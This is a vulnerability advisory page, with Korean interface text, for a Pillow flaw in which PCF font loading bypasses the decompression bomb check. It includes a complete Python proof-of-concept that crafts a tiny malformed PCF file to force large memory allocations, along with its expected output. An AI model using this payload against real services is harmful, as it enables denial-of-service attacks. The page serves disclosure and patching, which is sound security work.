Kestrel
대시보드로 돌아가기
CVE-2026-54059HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 06.수정일: 2026. 07. 20.

Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 66.5%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

text
1xsize = right - left (max: 655350 = 65535)
2ysize = ascent + descent (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

bash
1for i in range(nbitmaps):
2 xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled
3 b, e = offsets[i : i + 2]
4 bitmaps.append(
5 Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
6 # ↑ NO _decompression_bomb_check()!
7 )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

python
1#!/usr/bin/env python3
2"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
3import io, struct, tracemalloc, warnings
4warnings.filterwarnings("ignore")
5
6from PIL.PcfFontFile import PcfFontFile
7from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
8
9W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold
10
11# Show what Image.open() would do
12warnings.filterwarnings("error", category=DecompressionBombWarning)
13try:
14 _decompression_bomb_check((W, H))
15except (DecompressionBombWarning, DecompressionBombError) as e:
16 print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
17warnings.filterwarnings("ignore")
18
19# PCF binary constants
20PCF_MAGIC = 0x70636601
21PCF_PROPS = 1 << 0
22PCF_METRICS = 1 << 2
23PCF_BITMAPS = 1 << 3
24PCF_ENCODINGS= 1 << 5
25
26def build_bomb_pcf(xsize, ysize):
27 # Properties: empty
28 props = struct.pack("<III", 0, 0, 0)
29
30 # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
31 metrics = struct.pack("<II", 0, 1)
32 metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
33
34 # Bitmaps: 1 glyph, empty data (transient attack)
35 bitmaps = struct.pack("<II", 0, 1)
36 bitmaps += struct.pack("<I", 0) # offset[0] = 0
37 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0
38
39 # Encodings: char 0x41 ('A') → glyph 0
40 enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
41 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
42 encodings += struct.pack("<" + "H"*128, *enc_offsets)
43
44 secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
45 (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
46 hdr_size = 4 + 4 + len(secs) * 16
47 out = struct.pack("<II", PCF_MAGIC, len(secs))
48 offset = hdr_size
49 for stype, sdata in secs:
50 out += struct.pack("<IIII", stype, 0, len(sdata), offset)
51 offset += len(sdata)
52 for _, sdata in secs:
53 out += sdata
54 return out
55
56pcf = build_bomb_pcf(W, H)
57print(f"[*] PCF file size : {len(pcf)} bytes")
58print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
59print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
60
61tracemalloc.start()
62try:
63 font = PcfFontFile(io.BytesIO(pcf))
64 _, peak = tracemalloc.get_traced_memory()
65 tracemalloc.stop()
66 print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
67except Exception as e:
68 _, peak = tracemalloc.get_traced_memory()
69 tracemalloc.stop()
70 print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
71 print(f" Heap peak: {peak/1024**2:.2f} MB")
72 print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

text
1[Image.open() path] BLOCKED by DecompressionBombError
2[*] PCF file size : 148 bytes
3[*] Glyph size : 14000 x 14000 = 196,000,000 pixels
4[*] C-heap target : 23 MB (mode '1' = 1 bit/pixel)
5[!] CONFIRMED (transient): ValueError after allocation
6 C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF fileGlyph dimsC-heap (mode '1')Bomb check
148 bytes14000 × 1400023 MB (transient)Bypassed
148 bytes65535 × 1310701.07 GB (transient)Bypassed
~512 MB65535 × 1310701.07 GB (persistent)Bypassed

Impact

  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.